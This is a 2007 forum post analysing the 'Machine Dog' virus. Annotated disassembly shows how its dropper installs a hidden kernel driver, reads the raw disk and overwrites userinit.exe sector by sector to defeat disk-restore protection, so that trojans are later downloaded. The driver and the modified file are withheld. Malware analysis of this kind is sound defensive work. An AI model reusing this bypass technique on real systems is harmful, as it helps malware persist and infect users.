机器狗分析

标题：机器狗分析
作者：hnhuqiong
时间：2007-09-10 18:19
链接：http://bbs.pediy.com/showthread.php?t=51450

【文章标题】: 机器狗分析
【文章作者】: hnhuqiong
【作者邮箱】: hnhuqiong@126.com
【软件名称】: 机器狗（病毒）
【下载地址】: 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: OD
【操作平台】: winxp SP2
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  病毒程序加了壳，未知。很简单，ESP定律直接就可以到OEP，这节忽略带过。


  病毒总结：
      1.首先从自身的资源区1001（3E9）将埋藏的pcihdd.sys提取出来，写到system32的目录，然后预加载它。
      2.和pcihdd.sys通讯，将通过pcihdd.sys计算出被冰点隐藏的userinit.exe的绝对地址，然后将401000开始大小
        73e字节送pcihdd.sys校验串，驱动校验正确后，解码驱动自身资源（1000/1000)后回送程序，然后写向usernit.exe.
      3.userinit.exe被修改，启动时候下载相应网页的木马并启动。
      4.pcihdd.sys有关键部位校验，并将校验值作为解码的判断条件，程序全程只能用硬件断点。
      5.第一次写病毒分析，pcihdd.sys和userinit.exe（修改的）不做文章提交，防止恶意复制。
        有兴趣的可以自己分析，都是明的，一分析就出来了。


  （一）先整体看看这个病毒，解壳后程序很简洁。

  004016ED d>  6A 00                    push 0
  004016EF     E8 80000000              call 00401774                            ; <jmp.&kernel32.GetModuleHandleA>
  004016F4     A3 F0304000              mov dword ptr ds:[4030F0],eax
  004016F9     E8 CBF9FFFF              call 004010C9                            ; 这里负责释放pcihdd.sys然后加载它①
  004016FE     68 00010000              push 100
  00401703     68 F4304000              push 4030F4
  00401708     68 2B134000              push 40132B                              ; ASCII "%SystemRoot%\System32\Userinit.exe"
  0040170D     E8 50000000              call 00401762                            ; <jmp.&kernel32.ExpandEnvironmentStringsA>
  00401712     68 F4304000              push 4030F4
  00401717     E8 32FCFFFF              call 0040134E                            ; 这里是写磁盘，和pcihdd.sys通讯（重点）②
  0040171C     0BC0                     or eax,eax
  0040171E     75 0C                    jnz short 0040172C                       ; dumped_.0040172C
  00401720     68 E7304000              push 4030E7
  00401725     E8 68000000              call 00401792                            ; <jmp.&kernel32.OutputDebugStringA>
  0040172A     EB 06                    jmp short 00401732                       ; dumped_.00401732
  0040172C     50                       push eax
  0040172D     E8 60000000              call 00401792                            ; <jmp.&kernel32.OutputDebugStringA>
  00401732     E8 F9F8FFFF              call 00401030                            ; 这里卸载pcihdd.sys，然后删除
  00401737     6A 00                    push 0
  00401739     E8 1E000000              call 0040175C                            ; <jmp.&kernel32.ExitProcess>


      ①从自身的资源区1001（3E9）释放并加载加载PCIHDD.sys

  004010C9     55                       push ebp
  004010CA     8BEC                     mov ebp,esp
  004010CC     81C4 C8FEFFFF            add esp,-138
  004010D2     68 E9030000              push 3E9
  004010D7     68 E9030000              push 3E9                                 ; 1001资源项
  004010DC     FF35 F0304000            push dword ptr ds:[4030F0]               ; 查找自身资源里的pcihdd.sys
  004010E2     E8 81060000              call 00401768                            ; <jmp.&kernel32.FindResourceA>
  004010E7     0BC0                     or eax,eax                               ; 得出资源的指针
  004010E9     74 3D                    je short 00401128                        ; 没有找到，gameover

  004010EB     8985 F4FEFFFF            mov dword ptr ss:[ebp-10C],eax           ; 保存资源指针
  004010F1     50                       push eax
  004010F2     FF35 F0304000            push dword ptr ds:[4030F0]               ; dumped_.00400000
  004010F8     E8 B3060000              call 004017B0                            ; <jmp.&kernel32.SizeofResource>
  004010FD     8985 ECFEFFFF            mov dword ptr ss:[ebp-114],eax           ; 保存pcihdd.sys长度
  00401103     FFB5 F4FEFFFF            push dword ptr ss:[ebp-10C]
  00401109     FF35 F0304000            push dword ptr ds:[4030F0]               ; dumped_.00400000
  0040110F     E8 72060000              call 00401786                            ; <jmp.&kernel32.LoadResource>
  00401114     0BC0                     or eax,eax                               ; eax是求出pcihdd.sys的地址
  00401116     74 10                    je short 00401128                        ; 00401128
  00401118     50                       push eax
  00401119     E8 6E060000              call 0040178C                            ; <jmp.&kernel32.LockResource>
  0040111E     0BC0                     or eax,eax
  00401120     74 06                    je short 00401128                        ; 00401128
  00401122     8985 F0FEFFFF            mov dword ptr ss:[ebp-110],eax           ; 保存pcihdd.sys的地址
  00401128     0BC0                     or eax,eax

  00401131     68 00010000              push 100
  00401136     8D85 F8FEFFFF            lea eax,dword ptr ss:[ebp-108]           ; 放字符串缓冲区地址
  0040113C     50                       push eax
  0040113D     68 00104000              push 401000                              ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
  00401142     E8 1B060000              call 00401762                            ; <jmp.&kernel32.ExpandEnvironmentStringsA>
  00401147     6A 00                    push 0
  00401149     68 80000000              push 80
  0040114E     6A 04                    push 4                                   ; open_always
  00401150     6A 00                    push 0
  00401152     6A 00                    push 0
  00401154     68 00000040              push 40000000                            ; Generic_Write
  00401159     8D85 F8FEFFFF            lea eax,dword ptr ss:[ebp-108]
  0040115F     50                       push eax                                 ; 创建pcihdd.sys
  00401160     E8 E5050000              call 0040174A                            ; <jmp.&kernel32.CreateFileA>
  00401165     83F8 FF                  cmp eax,-1
  00401168     75 07                    jnz short 00401171                       ; 00401171
  0040116A     E9 A5010000              jmp 00401314                             ; 00401314
  0040116F     EB 35                    jmp short 004011A6                       ; 004011A6
  00401171     8945 F8                  mov dword ptr ss:[ebp-8],eax             ; 保存pcihdd.sys的句柄

  00401174     6A 00                    push 0
  00401176     8D45 FC                  lea eax,dword ptr ss:[ebp-4]
  00401179     50                       push eax                                 ; 实际所写长度
  0040117A     FFB5 ECFEFFFF            push dword ptr ss:[ebp-114]              ; 文件长度
  00401180     FFB5 F0FEFFFF            push dword ptr ss:[ebp-110]              ; 缓冲区地址=pcihdd.sys地址
  00401186     FF75 F8                  push dword ptr ss:[ebp-8]                ; pcihdd.sys句柄
  00401189     E8 28060000              call 004017B6                            ; <jmp.&kernel32.WriteFile>
  0040118E     FF75 F8                  push dword ptr ss:[ebp-8]
  00401191     E8 0E060000              call 004017A4                            ; <jmp.&kernel32.SetEndOfFile>
  00401196     FF75 F8                  push dword ptr ss:[ebp-8]
  00401199     E8 D0050000              call 0040176E                            ; <jmp.&kernel32.FlushFileBuffers>
  0040119E     FF75 F8                  push dword ptr ss:[ebp-8]
  004011A1     E8 9E050000              call 00401744                            ; <jmp.&kernel32.CloseHandle>


  004011A6     68 3F000F00              push 0F003F
  004011AB     6A 00                    push 0
  004011AD     6A 00                    push 0                                   ; 打开SCM
  004011AF     E8 20060000              call 004017D4                            ; <jmp.&advapi32.OpenSCManagerA>
  004011B4     0BC0                     or eax,eax
  004011B6     0F84 34010000            je 004012F0                              ; 004012F0
  004011BC     8985 E8FEFFFF            mov dword ptr ss:[ebp-118],eax
  004011C2     6A 00                    push 0
  004011C4     6A 00                    push 0
  004011C6     6A 00                    push 0
  004011C8     6A 00                    push 0
  004011CA     6A 00                    push 0
  004011CC     8D85 F8FEFFFF            lea eax,dword ptr ss:[ebp-108]
  004011D2     50                       push eax
  004011D3     6A 00                    push 0
  004011D5     6A 03                    push 3                                   ; SERVICE_DEMAND_START
  004011D7     6A 01                    push 1                                   ; SERVICE_KERNEL_DRIVER
  004011D9     6A 00                    push 0
  004011DB     68 29104000              push 401029                              ; DisplayName = "PciHdd"
  004011E0     68 29104000              push 401029                              ; ServiceName = "PciHdd"
  004011E5     FFB5 E8FEFFFF            push dword ptr ss:[ebp-118]              ; 创建PciHdd服务
  004011EB     E8 D8050000              call 004017C8                            ; <jmp.&advapi32.CreateServiceA>
  004011F0     0BC0                     or eax,eax
  004011F2     74 16                    je short 0040120A                        ; 如果创建失败，跳0040120A


  004011F4     8985 E4FEFFFF            mov dword ptr ss:[ebp-11C],eax           ; service 句柄
  004011FA     FFB5 E4FEFFFF            push dword ptr ss:[ebp-11C]
  00401200     E8 B7050000              call 004017BC                            ; <jmp.&advapi32.CloseServiceHandle>
  00401205     E9 90000000              jmp 0040129A                             ; 0040129A
  0040120A     68 FF010F00              push 0F01FF                              ; 这里创建失败则先停止原来的PciHdd服务然后删除再重新创建
  0040120F     68 29104000              push 401029                              ; ASCII "PciHdd"
  00401214     FFB5 E8FEFFFF            push dword ptr ss:[ebp-118]
  0040121A     E8 BB050000              call 004017DA                            ; <jmp.&advapi32.OpenServiceA>
  0040121F     0BC0                     or eax,eax
  00401221     74 30                    je short 00401253                        ; 00401253
  00401223     8985 E4FEFFFF            mov dword ptr ss:[ebp-11C],eax
  00401229     8D85 C8FEFFFF            lea eax,dword ptr ss:[ebp-138]
  0040122F     50                       push eax
  00401230     6A 01                    push 1
  00401232     FFB5 E4FEFFFF            push dword ptr ss:[ebp-11C]              ; 停止原来的PciHdd服务
  00401238     E8 85050000              call 004017C2                            ; <jmp.&advapi32.ControlService>
  0040123D     FFB5 E4FEFFFF            push dword ptr ss:[ebp-11C]              ; 删除服务
  00401243     E8 86050000              call 004017CE                            ; <jmp.&advapi32.DeleteService>
  00401248     FFB5 E4FEFFFF            push dword ptr ss:[ebp-11C]
  0040124E     E8 69050000              call 004017BC                            ; <jmp.&advapi32.CloseServiceHandle>
  00401253     6A 00                    push 0
  00401255     6A 00                    push 0
  00401257     6A 00                    push 0
  00401259     6A 00                    push 0
  0040125B     6A 00                    push 0
  0040125D     8D85 F8FEFFFF            lea eax,dword ptr ss:[ebp-108]
  00401263     50                       push eax
  00401264     6A 00                    push 0
  00401266     6A 03                    push 3
  00401268     6A 01                    push 1
  0040126A     6A 00                    push 0
  0040126C     68 29104000              push 401029                              ; ASCII "PciHdd"
  00401271     68 29104000              push 401029                              ; ASCII "PciHdd"
  00401276     FFB5 E8FEFFFF            push dword ptr ss:[ebp-118]              ; 重新创建
  0040127C     E8 47050000              call 004017C8                            ; <jmp.&advapi32.CreateServiceA>
  00401281     0BC0                     or eax,eax
  00401283     74 13                    je short 00401298                        ; 00401298
  00401285     8985 E4FEFFFF            mov dword ptr ss:[ebp-11C],eax
  0040128B     FFB5 E4FEFFFF            push dword ptr ss:[ebp-11C]
  00401291     E8 26050000              call 004017BC                            ; <jmp.&advapi32.CloseServiceHandle>
  00401296     EB 02                    jmp short 0040129A                       ; 0040129A
  00401298     EB 7A                    jmp short 00401314                       ; 00401314

  0040129A     6A 10                    push 10
  0040129C     68 29104000              push 401029                              ; ASCII "PciHdd"
  004012A1     FFB5 E8FEFFFF            push dword ptr ss:[ebp-118]
  004012A7     E8 2E050000              call 004017DA                            ; <jmp.&advapi32.OpenServiceA>
  004012AC     0BC0                     or eax,eax
  004012AE     74 33                    je short 004012E3                        ; 004012E3
  004012B0     8985 E4FEFFFF            mov dword ptr ss:[ebp-11C],eax
  004012B6     6A 00                    push 0
  004012B8     6A 00                    push 0
  004012BA     FFB5 E4FEFFFF            push dword ptr ss:[ebp-11C]              ; 启动服务
  004012C0     E8 1B050000              call 004017E0                            ; <jmp.&advapi32.StartServiceA>
  004012C5     0BC0                     or eax,eax
  004012C7     75 02                    jnz short 004012CB                       ; 004012CB
  004012C9     EB 49                    jmp short 00401314                       ; 00401314
  004012CB     FFB5 E4FEFFFF            push dword ptr ss:[ebp-11C]
  004012D1     E8 E6040000              call 004017BC                            ; <jmp.&advapi32.CloseServiceHandle>
  004012D6     FFB5 E8FEFFFF            push dword ptr ss:[ebp-118]
  004012DC     E8 DB040000              call 004017BC                            ; <jmp.&advapi32.CloseServiceHandle>
  004012E1     EB 0D                    jmp short 004012F0                       ; 004012F0
  004012E3     FFB5 E8FEFFFF            push dword ptr ss:[ebp-118]
  004012E9     E8 CE040000              call 004017BC                            ; <jmp.&advapi32.CloseServiceHandle>
  004012EE     EB 24                    jmp short 00401314                       ; 00401314
  004012F0     68 00010000              push 100
  004012F5     8D85 F8FEFFFF            lea eax,dword ptr ss:[ebp-108]
  004012FB     50                       push eax
  004012FC     68 00104000              push 401000                              ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
  00401301     E8 5C040000              call 00401762                            ; <jmp.&kernel32.ExpandEnvironmentStringsA>
  00401306     8D85 F8FEFFFF            lea eax,dword ptr ss:[ebp-108]
  0040130C     50                       push eax                                 ; 删除pcihdd.sys文件
  0040130D     E8 3E040000              call 00401750                            ; <jmp.&kernel32.DeleteFileA>
  00401312     C9                       leave
  00401313     C3                       retn

  ②

  0040134E     55                       push ebp
  0040134F     8BEC                     mov ebp,esp
  00401351     81C4 ACFAFFFF            add esp,-554
  00401357     60                       pushad
  00401358     6A 00                    push 0
  0040135A     6A 00                    push 0
  0040135C     6A 03                    push 3
  0040135E     6A 00                    push 0
  00401360     6A 00                    push 0
  00401362     68 00000080              push 80000000                                   ; _READ
  00401367     68 2E304000              push 40302E                                     ; ASCII "\\.\PhysicalHardDisk0"
  0040136C     E8 D9030000              call 0040174A                                   ; <jmp.&kernel32.CreateFileA>
  00401371     83F8 FF                  cmp eax,-1                                      ; eax=PhysicalHardDisk0句柄
  00401374     0F84 64030000            je 004016DE                                     ; 打不开则重新回去
  0040137A     8985 B8FAFFFF            mov dword ptr ss:[ebp-548],eax
  00401380     6A 00                    push 0
  00401382     68 00000020              push 20000000                                   ; 无缓冲
  00401387     6A 03                    push 3                                          ; 文件必须已经存在。由设备提出要求
  00401389     6A 00                    push 0
  0040138B     6A 03                    push 3                                          ; 共享类型=R|W
  0040138D     68 00000080              push 80000000                                   ; GENERIC_READ
  00401392     FF75 08                  push dword ptr ss:[ebp+8]                       ; filename=userinit.exe
  00401395     E8 B0030000              call 0040174A                                   ; <jmp.&kernel32.CreateFileA>
  0040139A     83F8 FF                  cmp eax,-1
  0040139D     0F84 27030000            je 004016CA                                     ; 004016CA
  004013A3     8945 F4                  mov dword ptr ss:[ebp-C],eax                    ; userinit.exe 文件句柄
  004013A6     33C0                     xor eax,eax
  004013A8     8945 EC                  mov dword ptr ss:[ebp-14],eax
  004013AB     8945 F0                  mov dword ptr ss:[ebp-10],eax
  004013AE     68 10010000              push 110                                        ; 缓冲区清零长度
  004013B3     8D85 D4FEFFFF            lea eax,dword ptr ss:[ebp-12C]                  ; 缓冲区指针
  004013B9     50                       push eax
  004013BA     E8 DF030000              call 0040179E                                   ; <jmp.&kernel32.RtlZeroMemory>
  004013BF     6A 00                    push 0
  004013C1     8D45 E8                  lea eax,dword ptr ss:[ebp-18]
  004013C4     50                       push eax
  004013C5     68 10010000              push 110                                        ; 输出缓冲区长度
  004013CA     8D85 D4FEFFFF            lea eax,dword ptr ss:[ebp-12C]                  ; 输出缓冲区
  004013D0     50                       push eax
  004013D1     6A 08                    push 8                                          ; 输入缓冲区长度
  004013D3     8D45 EC                  lea eax,dword ptr ss:[ebp-14]                   ; 输入缓冲区
  004013D6     50                       push eax
  004013D7     68 73000900              push 90073                                      ; 发送FSCTL_GET_RETRIEVAL_POINTERS获取userinit.exe的文件分配图
  004013DC     FF75 F4                  push dword ptr ss:[ebp-C]
  004013DF     E8 72030000              call 00401756                                   ; <jmp.&kernel32.DeviceIoControl>
  004013E4     0BC0                     or eax,eax
  004013E6     0F84 C7020000            je 004016B3                                     ; 004016B3
  004013EC     8DBD D4FEFFFF            lea edi,dword ptr ss:[ebp-12C]
  004013F2     8B1F                     mov ebx,dword ptr ds:[edi]
  004013F4     8D7F 10                  lea edi,dword ptr ds:[edi+10]
  004013F7     8B45 E8                  mov eax,dword ptr ss:[ebp-18]
  004013FA     0BDB                     or ebx,ebx
  004013FC     0F84 B8020000            je 004016BA                                     ; 004016BA
  00401402     8B47 08                  mov eax,dword ptr ds:[edi+8]
  00401405     8B57 0C                  mov edx,dword ptr ds:[edi+C]
  00401408     83F8 FF                  cmp eax,-1
  0040140B     0F84 99020000            je 004016AA                                     ; 004016AA
  00401411     83FA FF                  cmp edx,-1
  00401414     0F84 90020000            je 004016AA                                     ; 004016AA
  0040141A     8985 C4FAFFFF            mov dword ptr ss:[ebp-53C],eax
  00401420     8995 C8FAFFFF            mov dword ptr ss:[ebp-538],edx
  00401426     6A 00                    push 0
  00401428     8D45 E8                  lea eax,dword ptr ss:[ebp-18]
  0040142B     50                       push eax
  0040142C     68 00020000              push 200                                        ; 从userinit.exe文件头开始读200（512）字节
  00401431     8D85 D4FCFFFF            lea eax,dword ptr ss:[ebp-32C]                  ; 缓冲区地址
  00401437     50                       push eax
  00401438     FF75 F4                  push dword ptr ss:[ebp-C]
  0040143B     E8 58030000              call 00401798                                   ; <jmp.&kernel32.ReadFile>
  00401440     FF75 F4                  push dword ptr ss:[ebp-C]
  00401443     E8 FC020000              call 00401744                                   ; <jmp.&kernel32.CloseHandle>
  00401448     C745 F4 00000000         mov dword ptr ss:[ebp-C],0
  0040144F     6A 00                    push 0
  00401451     6A 00                    push 0
  00401453     6A 03                    push 3
  00401455     6A 00                    push 0
  00401457     6A 03                    push 3
  00401459     68 000000C0              push C0000000                                   ; 打开物理硬盘读写
  0040145E     68 44304000              push 403044                                     ; ASCII "\\.\PhysicalDrive0"
  00401463     E8 E2020000              call 0040174A                                   ; <jmp.&kernel32.CreateFileA>
  00401468     83F8 FF                  cmp eax,-1
  0040146B     0F84 40020000            je 004016B1                                     ; 004016B1
  00401471     8985 D0FAFFFF            mov dword ptr ss:[ebp-530],eax                  ; \\\\.\\PhysicalDrive0文件句柄
  00401477     6A 00                    push 0
  00401479     6A 00                    push 0
  0040147B     6A 00                    push 0
  0040147D     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]
  00401483     E8 22030000              call 004017AA                                   ; <jmp.&kernel32.SetFilePointer>
  00401488     6A 00                    push 0
  0040148A     8D45 E8                  lea eax,dword ptr ss:[ebp-18]                   ; 读入的实际长度
  0040148D     50                       push eax
  0040148E     68 00020000              push 200                                        ; 缓冲区长度
  00401493     8D85 D4FAFFFF            lea eax,dword ptr ss:[ebp-52C]                  ; 读入\\\\.\\PhysicalDrive0的缓冲区地址
  00401499     50                       push eax
  0040149A     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]                     ; \\\\.\\PhysicalDrive0句柄，读取1扇区
  004014A0     E8 F3020000              call 00401798                                   ; <jmp.&kernel32.ReadFile>
  004014A5     8DBD D4FAFFFF            lea edi,dword ptr ss:[ebp-52C]
  004014AB     80BF BE010000 80         cmp byte ptr ds:[edi+1BE],80                    ; 分区是否为可引导分区（也就是常规的分区是否激活概念）
  004014B2     0F85 DE010000            jnz 00401696                                    ; 00401696
  004014B8     0FB69F C2010000          movzx ebx,byte ptr ds:[edi+1C2]                 ; 取分区系统类型
  004014BF     83FB 0B                  cmp ebx,0B                                      ; 文件系统是否为FAT32
  004014C2     74 0E                    je short 004014D2                               ; 004014D2
  004014C4     83FB 0C                  cmp ebx,0C                                      ; 文件系统是否为FAT32
  004014C7     74 09                    je short 004014D2                               ; 004014D2
  004014C9     83FB 07                  cmp ebx,7                                       ; 文件系统是否为NTFS
  004014CC     0F85 BB010000            jnz 0040168D                                    ; 0040168D
  004014D2     8B87 C6010000            mov eax,dword ptr ds:[edi+1C6]                  ; C盘起始扇区（首扇区的相对扇区号）
  004014D8     8985 CCFAFFFF            mov dword ptr ss:[ebp-534],eax
  004014DE     33D2                     xor edx,edx
  004014E0     69C0 00020000            imul eax,eax,200                                ; 3f*200
  004014E6     8955 E8                  mov dword ptr ss:[ebp-18],edx
  004014E9     8BC8                     mov ecx,eax
  004014EB     6A 00                    push 0
  004014ED     8D45 E8                  lea eax,dword ptr ss:[ebp-18]
  004014F0     50                       push eax
  004014F1     51                       push ecx                                        ; 转移定位到7e00
  004014F2     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]                     ; \\\\.\\PhysicalDrive0句柄
  004014F8     E8 AD020000              call 004017AA                                   ; <jmp.&kernel32.SetFilePointer>
  004014FD     6A 00                    push 0
  004014FF     8D45 E8                  lea eax,dword ptr ss:[ebp-18]
  00401502     50                       push eax
  00401503     68 00020000              push 200
  00401508     8D85 D4FAFFFF            lea eax,dword ptr ss:[ebp-52C]
  0040150E     50                       push eax
  0040150F     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]                     ; 读取C盘的1扇区
  00401515     E8 7E020000              call 00401798                                   ; <jmp.&kernel32.ReadFile>
  0040151A     8DBD D4FAFFFF            lea edi,dword ptr ss:[ebp-52C]
  00401520     0FB747 0E                movzx eax,word ptr ds:[edi+E]
  00401524     0185 CCFAFFFF            add dword ptr ss:[ebp-534],eax                  ; 3f+24=63
  0040152A     83FB 0B                  cmp ebx,0B
  0040152D     74 05                    je short 00401534                               ; 00401534
  0040152F     83FB 0C                  cmp ebx,0C
  00401532     75 12                    jnz short 00401546                              ; 00401546
  00401534     0FB64F 10                movzx ecx,byte ptr ds:[edi+10]
  00401538     8B47 24                  mov eax,dword ptr ds:[edi+24]
  0040153B     33D2                     xor edx,edx
  0040153D     0FAFC1                   imul eax,ecx
  00401540     0185 CCFAFFFF            add dword ptr ss:[ebp-534],eax                  ; 63+48bc=491f
  00401546     8B85 C4FAFFFF            mov eax,dword ptr ss:[ebp-53C]                  ; 解码数b6204
  0040154C     8B95 C8FAFFFF            mov edx,dword ptr ss:[ebp-538]
  00401552     0FB64F 0D                movzx ecx,byte ptr ds:[edi+D]
  00401556     898D B4FAFFFF            mov dword ptr ss:[ebp-54C],ecx
  0040155C     0FAFC1                   imul eax,ecx                                    ; b6204*10=b62040
  0040155F     0385 CCFAFFFF            add eax,dword ptr ss:[ebp-534]
  00401565     83D2 00                  adc edx,0
  00401568     69C0 00020000            imul eax,eax,200                                ; *200=6cd2be00
  0040156E     8995 C0FAFFFF            mov dword ptr ss:[ebp-540],edx
  00401574     8985 BCFAFFFF            mov dword ptr ss:[ebp-544],eax
  0040157A     6A 00                    push 0
  0040157C     8D85 C0FAFFFF            lea eax,dword ptr ss:[ebp-540]
  00401582     50                       push eax
  00401583     FFB5 BCFAFFFF            push dword ptr ss:[ebp-544]
  00401589     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]                     ; userinit.exe 在盘的绝对偏移地址,也就是驱动先找到它的绝对地址，然后加密后报告给病毒
  0040158F     E8 16020000              call 004017AA                                   ; <jmp.&kernel32.SetFilePointer>
  00401594     6A 00                    push 0
  00401596     8D45 E8                  lea eax,dword ptr ss:[ebp-18]
  00401599     50                       push eax
  0040159A     68 00020000              push 200
  0040159F     8D85 D4FAFFFF            lea eax,dword ptr ss:[ebp-52C]                  ; 读userinit.exe的缓冲区
  004015A5     50                       push eax
  004015A6     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]
  004015AC     E8 E7010000              call 00401798                                   ; <jmp.&kernel32.ReadFile>


  004015B1     8DBD D4FAFFFF            lea edi,dword ptr ss:[ebp-52C]
  004015B7     8DB5 D4FCFFFF            lea esi,dword ptr ss:[ebp-32C]
  004015BD     B9 00020000              mov ecx,200
  004015C2     F3:A6                    repe cmps byte ptr es:[edi],byte ptr ds:>
  004015C4     0BC9                     or ecx,ecx
  004015C6     0F85 B8000000            jnz 00401684                             ; dumped_.00401684
  004015CC     6A 00                    push 0
  004015CE     8D85 C0FAFFFF            lea eax,dword ptr ss:[ebp-540]
  004015D4     50                       push eax
  004015D5     FFB5 BCFAFFFF            push dword ptr ss:[ebp-544]
  004015DB     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]
  004015E1     E8 C4010000              call 004017AA                            ; <jmp.&kernel32.SetFilePointer>
  004015E6     8B85 B4FAFFFF            mov eax,dword ptr ss:[ebp-54C]
  004015EC     C1E0 09                  shl eax,9
  004015EF     8985 B4FAFFFF            mov dword ptr ss:[ebp-54C],eax
  004015F5     FFB5 B4FAFFFF            push dword ptr ss:[ebp-54C]
  004015FB     6A 40                    push 40
  004015FD     E8 78010000              call 0040177A                            ; <jmp.&kernel32.GlobalAlloc>
  00401602     0BC0                     or eax,eax
  00401604     74 6A                    je short 00401670                        ; dumped_.00401670
  00401606     8985 B0FAFFFF            mov dword ptr ss:[ebp-550],eax
  0040160C     B9 3E174000              mov ecx,40173E
  00401611     81E9 00104000            sub ecx,401000                           ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
  00401617     6A 00                    push 0
  00401619     8D45 E8                  lea eax,dword ptr ss:[ebp-18]
  0040161C     50                       push eax
  0040161D     FFB5 B4FAFFFF            push dword ptr ss:[ebp-54C]
  00401623     FFB5 B0FAFFFF            push dword ptr ss:[ebp-550]              ; 解码后的缓冲区
  00401629     51                       push ecx
  0040162A     68 00104000              push 401000                              ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
  0040162F     68 043C00F0              push F0003C04
  00401634     FFB5 B8FAFFFF            push dword ptr ss:[ebp-548]
  0040163A     E8 17010000              call 00401756                            ; <jmp.&kernel32.DeviceIoControl>
  0040163F     6A 00                    push 0
  00401641     8D45 E8                  lea eax,dword ptr ss:[ebp-18]
  00401644     50                       push eax
  00401645     FFB5 B4FAFFFF            push dword ptr ss:[ebp-54C]
  0040164B     FFB5 B0FAFFFF            push dword ptr ss:[ebp-550]
  00401651     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]              ; 写入userinit.exe，成功穿透
  00401657     E8 5A010000              call 004017B6                            ; <jmp.&kernel32.WriteFile>
  0040165C     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]
  00401662     E8 07010000              call 0040176E                            ; <jmp.&kernel32.FlushFileBuffers>
  00401667     C745 E4 00000000         mov dword ptr ss:[ebp-1C],0
  0040166E     EB 07                    jmp short 00401677                       ; dumped_.00401677
  00401670     C745 E4 57304000         mov dword ptr ss:[ebp-1C],403057
  00401677     FFB5 B0FAFFFF            push dword ptr ss:[ebp-550]
  0040167D     E8 FE000000              call 00401780                            ; <jmp.&kernel32.GlobalFree>
  00401682     EB 19                    jmp short 0040169D                       ; dumped_.0040169D
  00401684     C745 E4 66304000         mov dword ptr ss:[ebp-1C],403066
  0040168B     EB 10                    jmp short 0040169D                       ; dumped_.0040169D
  0040168D     C745 E4 75304000         mov dword ptr ss:[ebp-1C],403075
  00401694     EB 07                    jmp short 0040169D                       ; dumped_.0040169D
  00401696     C745 E4 86304000         mov dword ptr ss:[ebp-1C],403086
  0040169D     FFB5 D0FAFFFF            push dword ptr ss:[ebp-530]
  004016A3     E8 9C000000              call 00401744                            ; <jmp.&kernel32.CloseHandle>
  004016A8     EB 07                    jmp short 004016B1                       ; dumped_.004016B1
  004016AA     C745 E4 9D304000         mov dword ptr ss:[ebp-1C],40309D
  004016B1     EB 07                    jmp short 004016BA                       ; dumped_.004016BA
  004016B3     C745 E4 B8304000         mov dword ptr ss:[ebp-1C],4030B8
  004016BA     837D F4 00               cmp dword ptr ss:[ebp-C],0
  004016BE     74 11                    je short 004016D1                        ; dumped_.004016D1
  004016C0     FF75 F4                  push dword ptr ss:[ebp-C]
  004016C3     E8 7C000000              call 00401744                            ; <jmp.&kernel32.CloseHandle>
  004016C8     EB 07                    jmp short 004016D1                       ; dumped_.004016D1
  004016CA     C745 E4 CD304000         mov dword ptr ss:[ebp-1C],4030CD
  004016D1     FFB5 B8FAFFFF            push dword ptr ss:[ebp-548]
  004016D7     E8 68000000              call 00401744                            ; <jmp.&kernel32.CloseHandle>
  004016DC     EB 07                    jmp short 004016E5                       ; dumped_.004016E5
  004016DE     C745 E4 DA304000         mov dword ptr ss:[ebp-1C],4030DA
  004016E5     61                       popad
  004016E6     8B45 E4                  mov eax,dword ptr ss:[ebp-1C]
  004016E9     C9                       leave
  004016EA     C2 0400                  retn 4


  BTW:CUG还要提交文章，这篇看样子也就当分析的来玩了。



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                                                       2007年09月10日 18:17:26